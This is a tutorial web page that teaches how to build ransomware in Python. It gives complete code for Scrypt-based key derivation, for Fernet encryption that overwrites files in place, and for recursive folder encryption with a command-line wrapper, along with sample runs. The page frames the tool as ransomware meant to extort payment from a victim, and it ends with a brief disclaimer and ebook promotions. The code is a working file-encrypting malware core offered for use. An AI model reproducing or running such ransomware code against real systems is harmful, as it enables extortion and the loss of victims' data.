How to Make a Ransomware in Python

Learn how to build a ransomware using symmetric encryption (AES algorithm) with the help of cryptography library in Python.
  · 14 min read · Updated dec 2022 · Ethical Hacking

Ransomware is a type of malware that encrypts the files of a system and decrypts only after a sum of money is paid to the attacker.

Encryption is the process of converting plaintext, which is data that is readable by humans, into ciphertext, which is a scrambled version of the data that is impossible for humans to read. The process of converting ciphertext back into plaintext is known as decryption.

Encryption is used to secure data during transmission, storage, and processing. It is a fundamental tool for protecting information from unauthorized access and is essential for maintaining the confidentiality and integrity of data. Encryption is used in a variety of applications, including secure communication, secure online banking and shopping, and protecting sensitive data stored on computers and servers.

There are two main encryption methods, which are symmetric-key encryption and public-key (asymmetric) encryption. Symmetric-key encryption involves using the same key for both encryption and decryption (which we'll use in this tutorial), while public-key encryption uses a pair of keys, a public key for encryption and a private key for decryption.

There are a lot of types of ransomware. The one we will build in this tutorial uses the same password to encrypt and decrypt the data. In other words, we use key derivation functions to derive a key from a password. So, hypothetically, when the victim pays us, we will simply give him the password to decrypt their files.

Thus, instead of randomly generating a key, we use a password to derive the key, and there are algorithms for this purpose. One of these algorithms is Scrypt, a password-based key derivation function created in 2009 by Colin Percival.

This tutorial will basically extend the encryption tutorial; many of the core functions are brought from there.

Getting Started

To get started writing the ransomware, we need to install the cryptography library:

$ pip install cryptography

There are many encryption algorithms out there. This library is built on top of the AES encryption algorithm.

Open up a new file, call it ransomware.py and import the following:

import pathlib
import secrets
import os
import base64
import getpass

import cryptography
from cryptography.fernet import Fernet
from cryptography.hazmat.primitives.kdf.scrypt import Scrypt

Don't worry about these imported libraries for now. I will explain each part of the code as we proceed.

Get: Build 35+ Ethical Hacking Tools & Scripts with Python EBook.

Deriving the Key from a Password

First, key derivation functions need random bits added to the password before it's hashed; these bits are often called salts, which help strengthen security and protect against dictionary and brute-force attacks. Let's make a function to generate that using the secrets module:

def generate_salt(size=16):
    """Generate the salt used for key derivation, 
    `size` is the length of the salt to generate"""
    return secrets.token_bytes(size)

We are using the secrets module instead of random because secrets is used for generating cryptographically strong random numbers suitable for password generation, security tokens, salts, etc.

Next, let’s make a function to derive the key from the password and the salt:

def derive_key(salt, password):
    """Derive the key from the `password` using the passed `salt`"""
    kdf = Scrypt(salt=salt, length=32, n=2**14, r=8, p=1)
    return kdf.derive(password.encode())

We initialize the Scrypt algorithm by passing the following:

  • The salt.
  • The desired length of the key (32 in this case).
  • n: CPU/Memory cost parameter which must be larger than 1 and be a power of 2.
  • r: Block size parameter.
  • p: Parallelization parameter.

As mentioned in the documentation, n, r, and p can adjust the computational and memory cost of the Scrypt algorithm. RFC 7914 recommends r=8, p=1, where the original Scrypt paper suggests that n should have a minimum value of 2**14 for interactive logins or 2**20 for more sensitive files, you can check the documentation for more information.

Next, we make a function to load a previously generated salt:

def load_salt():
    # load salt from salt.salt file
    return open("salt.salt", "rb").read()

Now that we have the salt generation and key derivation functions, let's make the core function that generates the key from a password:

def generate_key(password, salt_size=16, load_existing_salt=False, save_salt=True):
    """Generates a key from a `password` and the salt.
    If `load_existing_salt` is True, it'll load the salt from a file
    in the current directory called "salt.salt".
    If `save_salt` is True, then it will generate a new salt
    and save it to "salt.salt" """
    if load_existing_salt:
        # load existing salt
        salt = load_salt()
    elif save_salt:
        # generate new salt and save it
        salt = generate_salt(salt_size)
        with open("salt.salt", "wb") as salt_file:
            salt_file.write(salt)
    # generate the key from the salt and the password
    derived_key = derive_key(salt, password)
    # encode it using Base 64 and return it
    return base64.urlsafe_b64encode(derived_key)

The above function accepts the following arguments:

  • password: The password string to generate the key from.
  • salt_size: An integer indicating the size of the salt to generate.
  • load_existing_salt: A boolean indicating whether we load a previously generated salt.
  • save_salt: A boolean to indicate whether we save the generated salt.

After we load or generate a new salt, we derive the key from the password using our derive_key() function and return the key as a Base64-encoded text.

Related: How to Create a Reverse Shell in Python

File Encryption

Now, we dive into the most exciting part, encryption and decryption functions:

def encrypt(filename, key):
    """Given a filename (str) and key (bytes), it encrypts the file and write it"""
    f = Fernet(key)
    with open(filename, "rb") as file:
        # read all file data
        file_data = file.read()
    # encrypt data
    encrypted_data = f.encrypt(file_data)
    # write the encrypted file
    with open(filename, "wb") as file:
        file.write(encrypted_data)

Pretty straightforward, after we make the Fernet object from the key passed to this function, we read the file data and encrypt it using the Fernet.encrypt() method.

After that, we take the encrypted data and override the original file with the encrypted file by simply writing the file with the same original name.

File Decryption

Okay, that's done. Going to the decryption function now, it is the same process, except we will use the decrypt() function instead of encrypt() on the Fernet object:

def decrypt(filename, key):
    """Given a filename (str) and key (bytes), it decrypts the file and write it"""
    f = Fernet(key)
    with open(filename, "rb") as file:
        # read the encrypted data
        encrypted_data = file.read()
    # decrypt data
    try:
        decrypted_data = f.decrypt(encrypted_data)
    except cryptography.fernet.InvalidToken:
        print("[!] Invalid token, most likely the password is incorrect")
        return
    # write the original file
    with open(filename, "wb") as file:
        file.write(decrypted_data)

We add a simple try-except block to handle the exception when the password is incorrect.

Again, the two above functions were brought from the encryption tutorial.

Get: Build 35+ Ethical Hacking Tools & Scripts with Python EBook.

Encrypting and Decrypting Folders

Awesome! Before testing our functions, we need to remember that ransomware encrypts entire folders or even the entire computer system, not just a single file.

Therefore, we must write code to encrypt folders with their subfolders and files. Let’s start with encrypting folders:

def encrypt_folder(foldername, key):
    # if it's a folder, encrypt the entire folder (i.e all the containing files)
    for child in pathlib.Path(foldername).glob("*"):
        if child.is_file():
            print(f"[*] Encrypting {child}")
            # encrypt the file
            encrypt(child, key)
        elif child.is_dir():
            # if it's a folder, encrypt the entire folder by calling this function recursively
            encrypt_folder(child, key)

Not that complicated; we use the glob() method from the pathlib module’s Path() class to get all the subfolders and files in that folder. It is the same as os.scandir() except that pathlib returns Path objects and not regular Python strings.

Inside the for loop, we check if this child path object is a file or a folder. We use our previously defined encrypt() function if it is a file. If it's a folder, we recursively run the encrypt_folder() but pass the child path into the foldername argument.

The same thing for decrypting folders:

def decrypt_folder(foldername, key):
    # if it's a folder, decrypt the entire folder
    for child in pathlib.Path(foldername).glob("*"):
        if child.is_file():
            print(f"[*] Decrypting {child}")
            # decrypt the file
            decrypt(child, key)
        elif child.is_dir():
            # if it's a folder, decrypt the entire folder by calling this function recursively
            decrypt_folder(child, key)

That's great! Now, all we have to do is use the argparse module to make our script as easily usable as possible from the command line:

if __name__ == "__main__":
    import argparse
    parser = argparse.ArgumentParser(description="File Encryptor Script with a Password")
    parser.add_argument("path", help="Path to encrypt/decrypt, can be a file or an entire folder")
    parser.add_argument("-s", "--salt-size", help="If this is set, a new salt with the passed size is generated",
                        type=int)
    parser.add_argument("-e", "--encrypt", action="store_true",
                        help="Whether to encrypt the file/folder, only -e or -d can be specified.")
    parser.add_argument("-d", "--decrypt", action="store_true",
                        help="Whether to decrypt the file/folder, only -e or -d can be specified.")
    # parse the arguments
    args = parser.parse_args()
    # get the password
    if args.encrypt:
        password = getpass.getpass("Enter the password for encryption: ")
    elif args.decrypt:
        password = getpass.getpass("Enter the password you used for encryption: ")
    # generate the key
    if args.salt_size:
        key = generate_key(password, salt_size=args.salt_size, save_salt=True)
    else:
        key = generate_key(password, load_existing_salt=True)
    # get the encrypt and decrypt flags
    encrypt_ = args.encrypt
    decrypt_ = args.decrypt
    # check if both encrypt and decrypt are specified
    if encrypt_ and decrypt_:
        raise TypeError("Please specify whether you want to encrypt the file or decrypt it.")
    elif encrypt_:
        if os.path.isfile(args.path):
            # if it is a file, encrypt it
            encrypt(args.path, key)
        elif os.path.isdir(args.path):
            encrypt_folder(args.path, key)
    elif decrypt_:
        if os.path.isfile(args.path):
            decrypt(args.path, key)
        elif os.path.isdir(args.path):
            decrypt_folder(args.path, key)
    else:
        raise TypeError("Please specify whether you want to encrypt the file or decrypt it.")

Okay, so we're expecting a total of four parameters, which are the path of the folder/file to encrypt or decrypt, the salt size, which, if passed, generates a new salt with the given size, and whether to encrypt or decrypt via -e or -d parameters respectively.

Learn also: How to Make a Keylogger in Python.

Running the Code

To test our script, you have to come up with files you don't need or have a copy of them somewhere on your computer. For my case, I've made a folder named test-folder in the same directory where ransomware.py is located and brought some PDF documents, images, text files, and other files. Here's the content of it:

An example folder

And here's what's inside the Files folder:

Inside the Files folder

Where Archive and Programs contain some zip files and executables, let’s try to encrypt this entire test-folder folder:

$ python ransomware.py -e test-folder -s 32

I've specified the salt to be 32 in size and passed the test-folder to the script. You will be prompted for a password for encryption; let's use "1234":

Enter the password for encryption:
[*] Encrypting test-folder\Documents\2171614.xlsx
[*] Encrypting test-folder\Documents\receipt.pdf
[*] Encrypting test-folder\Files\Archive\12_compressed.zip
[*] Encrypting test-folder\Files\Archive\81023_Win.zip
[*] Encrypting test-folder\Files\Programs\Postman-win64-9.15.2-Setup.exe
[*] Encrypting test-folder\Pictures\crai.png
[*] Encrypting test-folder\Pictures\photo-22-09.jpg
[*] Encrypting test-folder\Pictures\photo-22-14.jpg
[*] Encrypting test-folder\test.txt
[*] Encrypting test-folder\test2.txt
[*] Encrypting test-folder\test3.txt

You'll be prompted to enter a password, get_pass() hides the characters you type, so it's more secure.

It looks like the script successfully encrypted the entire folder! You can test it by yourself on a folder you come up with (I insist, please don't use it on files you need and do not have a copy elsewhere).

The files remain in the same extension, but if you right-click, you won’t be able to read anything.

You will also notice that salt.salt file appeared in your current working directory. Do not delete it, as it’s necessary for the decryption process.

Let's try to decrypt it with a wrong password, something like "1235" and not "1234":

$ python ransomware.py -d test-folder
Enter the password you used for encryption:
[*] Decrypting test-folder\Documents\2171614.xlsx
[!] Invalid token, most likely the password is incorrect
[*] Decrypting test-folder\Documents\receipt.pdf
[!] Invalid token, most likely the password is incorrect
[*] Decrypting test-folder\Files\Archive\12_compressed.zip
[!] Invalid token, most likely the password is incorrect
[*] Decrypting test-folder\Files\Archive\81023_Win.zip
[!] Invalid token, most likely the password is incorrect
[*] Decrypting test-folder\Files\Programs\Postman-win64-9.15.2-Setup.exe
[!] Invalid token, most likely the password is incorrect
[*] Decrypting test-folder\Pictures\crai.png
[!] Invalid token, most likely the password is incorrect
[*] Decrypting test-folder\Pictures\photo-22-09.jpg
[!] Invalid token, most likely the password is incorrect
[*] Decrypting test-folder\Pictures\photo-22-14.jpg
[!] Invalid token, most likely the password is incorrect
[*] Decrypting test-folder\test.txt
[!] Invalid token, most likely the password is incorrect
[*] Decrypting test-folder\test2.txt
[!] Invalid token, most likely the password is incorrect
[*] Decrypting test-folder\test3.txt
[!] Invalid token, most likely the password is incorrect

In the decryption process, do not pass -s as it will generate a new salt and override the previous salt that was used for encryption and so you won't be able to recover your files. You can edit the code to prevent this parameter in decryption.

The folder is still encrypted, as the password is wrong. Let's re-run with the correct password, "1234":

$ python ransomware.py -d test-folder
Enter the password you used for encryption:
[*] Decrypting test-folder\Documents\2171614.xlsx
[*] Decrypting test-folder\Documents\receipt.pdf
[*] Decrypting test-folder\Files\Archive\12_compressed.zip
[*] Decrypting test-folder\Files\Archive\81023_Win.zip
[*] Decrypting test-folder\Files\Programs\Postman-win64-9.15.2-Setup.exe
[*] Decrypting test-folder\Pictures\crai.png
[*] Decrypting test-folder\Pictures\photo-22-09.jpg
[*] Decrypting test-folder\Pictures\photo-22-14.jpg
[*] Decrypting test-folder\test.txt
[*] Decrypting test-folder\test2.txt
[*] Decrypting test-folder\test3.txt

The entire folder is back to its original form; now, all the files are readable! So it's working!

Disclaimer: It's important to note that creating and distributing ransomware is illegal and unethical. It can cause significant harm to individuals and organizations by disrupting their operations and potentially costing them a large amount of money to recover their files. It's important to use encryption responsibly and only for legitimate purposes.

Conclusion

The tutorial has described a process for creating ransomware, a type of malicious software that encrypts a victim's files and demands payment in exchange for the decryption key. The key is derived from a password using the Scrypt algorithm and salt, which helps to strengthen the security of the key derivation process. While encryption can be a useful tool for protecting data, it's important to use it responsibly and not to create or distribute malicious software like ransomware, as it can cause significant harm and is illegal.

You can get the complete code for this tutorial here.

Are you interested in learning more about ethical hacking and building tools to protect against cyber threats? Our Ethical Hacking with Python Ebook is the perfect resource for you! This comprehensive guide covers building tools in various topics, including information gathering, malware, and network packet manipulation. You'll learn how to build tools like a reverse shell, password cracking tools, and many more (More than 35 pentesting tools).

With step-by-step instructions and clear explanations, this EBook is perfect for both beginners and experienced professionals looking to expand their knowledge in the field of ethical hacking with Python. Don't miss out on this opportunity to become an expert in cyber security – get your copy today!

Happy hacking ♥

View Full Code
Sharing is caring!



Read Also



Comment panel